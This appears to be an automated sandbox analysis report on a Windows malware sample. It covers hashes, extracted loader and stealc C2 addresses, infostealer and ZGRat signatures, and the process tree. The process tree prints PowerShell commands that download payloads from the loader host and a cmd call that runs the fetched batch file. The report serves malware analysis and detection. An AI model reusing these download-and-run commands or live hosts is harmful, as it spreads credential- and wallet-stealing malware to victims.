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Analysis
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max time kernel
293s -
max time network
299s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
05/05/2024, 22:41
Static task
static1
Behavioral task
behavioral1
Sample
7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Resource
win7-20240215-en
General
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Target
7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
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Size
49KB
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MD5
705685a8deace858e7fc849471c045f3
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SHA1
10132365b465a6f231c8e292f462c2d005b4f9b0
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SHA256
7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9
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SHA512
b9dd7d5ca384ff4ad053d5f01d721f1180b1028e40c96cd94e04f2b2965e2f4be6cf4d2595f67c3e62039320b517e32200ffec165a9c544344d666732a57c56d
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SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpyFI+Plt:Xfi3k+oWDBDh1duFpXWlt
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000
Extracted
stealc
http://185.172.128.150
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url_path
/c698e1bc8a2f5e6d.php
Signatures
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Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/392-207-0x0000014EF0A30000-0x0000014EF4328000-memory.dmp family_zgrat_v1 behavioral2/memory/392-212-0x0000014EF6890000-0x0000014EF68B4000-memory.dmp family_zgrat_v1 behavioral2/memory/392-208-0x0000014EF6CC0000-0x0000014EF6DD0000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 4 IoCs
flow pid Process 16 220 powershell.exe 18 1428 powershell.exe 19 1428 powershell.exe 21 3200 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 876 i1.exe 3556 uoc.0.exe 4108 uoc.1.exe -
Loads dropped DLL 3 IoCs
pid Process 4988 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 3556 uoc.0.exe 3556 uoc.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 220 powershell.exe 1428 powershell.exe 3200 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uoc.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uoc.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI uoc.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 uoc.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString uoc.0.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 220 powershell.exe 220 powershell.exe 220 powershell.exe 1428 powershell.exe 1428 powershell.exe 1428 powershell.exe 3200 powershell.exe 3200 powershell.exe 3200 powershell.exe 3556 uoc.0.exe 3556 uoc.0.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3556 uoc.0.exe 3556 uoc.0.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 220 powershell.exe Token: SeDebugPrivilege 1428 powershell.exe Token: SeDebugPrivilege 3200 powershell.exe Token: SeDebugPrivilege 392 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe 4108 uoc.1.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4988 wrote to memory of 3076 4988 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 74 PID 4988 wrote to memory of 3076 4988 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 74 PID 4988 wrote to memory of 3076 4988 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 74 PID 3076 wrote to memory of 220 3076 cmd.exe 76 PID 3076 wrote to memory of 220 3076 cmd.exe 76 PID 3076 wrote to memory of 220 3076 cmd.exe 76 PID 3076 wrote to memory of 1428 3076 cmd.exe 77 PID 3076 wrote to memory of 1428 3076 cmd.exe 77 PID 3076 wrote to memory of 1428 3076 cmd.exe 77 PID 3076 wrote to memory of 876 3076 cmd.exe 78 PID 3076 wrote to memory of 876 3076 cmd.exe 78 PID 3076 wrote to memory of 876 3076 cmd.exe 78 PID 3076 wrote to memory of 3200 3076 cmd.exe 79 PID 3076 wrote to memory of 3200 3076 cmd.exe 79 PID 3076 wrote to memory of 3200 3076 cmd.exe 79 PID 3076 wrote to memory of 832 3076 cmd.exe 80 PID 3076 wrote to memory of 832 3076 cmd.exe 80 PID 3076 wrote to memory of 832 3076 cmd.exe 80 PID 876 wrote to memory of 3556 876 i1.exe 82 PID 876 wrote to memory of 3556 876 i1.exe 82 PID 876 wrote to memory of 3556 876 i1.exe 82 PID 876 wrote to memory of 4108 876 i1.exe 84 PID 876 wrote to memory of 4108 876 i1.exe 84 PID 876 wrote to memory of 4108 876 i1.exe 84 PID 4108 wrote to memory of 392 4108 uoc.1.exe 86 PID 4108 wrote to memory of 392 4108 uoc.1.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe"C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsq632F.tmp\lood.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:220
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1428
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C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Users\Admin\AppData\Local\Temp\uoc.0.exe"C:\Users\Admin\AppData\Local\Temp\uoc.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3556
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C:\Users\Admin\AppData\Local\Temp\uoc.1.exe"C:\Users\Admin\AppData\Local\Temp\uoc.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:392
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3200
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K i2.bat3⤵PID:832
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
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Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
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Filesize
1KB
MD566382a4ca6c4dcf75ce41417d44be93e
SHA18132cbef1c12f8a89a68a6153ade4286bf130812
SHA256a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
SHA5122bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
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Filesize
16KB
MD57545f23c285ed14d20edc8c3968fd3cf
SHA18a29453298f0fb841b4d8059bcef8edb924cedc7
SHA256d12c82f93d19b23ddf50cc6bfec053134186b164875e5860050d0cf0505f7da3
SHA512c0027db56db32e67e9f64062f688f3a8bcfa631e3a6008da3c423a99e345ea9dfdc14c8e8bb784cf377d07d98300df6124a0d711c36180a3153335ce9596e626
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Filesize
16KB
MD597d8e29fa63a229dfc1742355219f055
SHA1683346713c8ffb44b52acda02b14bc5c5cdc9693
SHA256b4b650635d660ffdc2dbf15d25096e77ba115ee45a1ee292af8a650fb622972e
SHA5128e26868273e13776cc033b12da0685c9ab196c58ab88f4c5d37e300816a864e16e09dd66decc403e546243c861d5c211cd86f1cdaa704bafcd065779acb9e441
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
416KB
MD55a304097bbad807ab8c6e530ecccd1e7
SHA106f7500dc67eca8fb5d71e3cccfe2a7fc690e60a
SHA25661f5cf9b9425fe31152a53c8e1f850c575b9332da40c1491e374f06fc44dadaa
SHA512019bf1d3a4f9925138c5f33bccba773ded34975adc7d973ac081128511a8ccce8d478389a9ef7908b2eac8caecbf0dc8f1f1560d4ec295f696bcaae14bb53bcd
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Filesize
556B
MD51d5830e49fb8ad21e3c1e3333b819e7f
SHA1ee70e4b9c36d0bbcefce139bac51abadbd985197
SHA2568e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80
SHA5121b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb
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Filesize
274KB
MD5fae96a12ae35c2243801206ca089798d
SHA152b8769b202701900f03c386623232ee23fb90d3
SHA2561b32e30cfeea17e7f29f8c907c42cafc3a18da4306007b5c5bc38cb6bb4f1750
SHA5127a3d2284145b98b8db779e1a941f48125fd3fee00dc147fb6a2c0ecf0840b9c52973930871182e402726878de2bfb0dd7e4d64396e4280700511e2ac81aa7abe
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Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
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Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
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Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d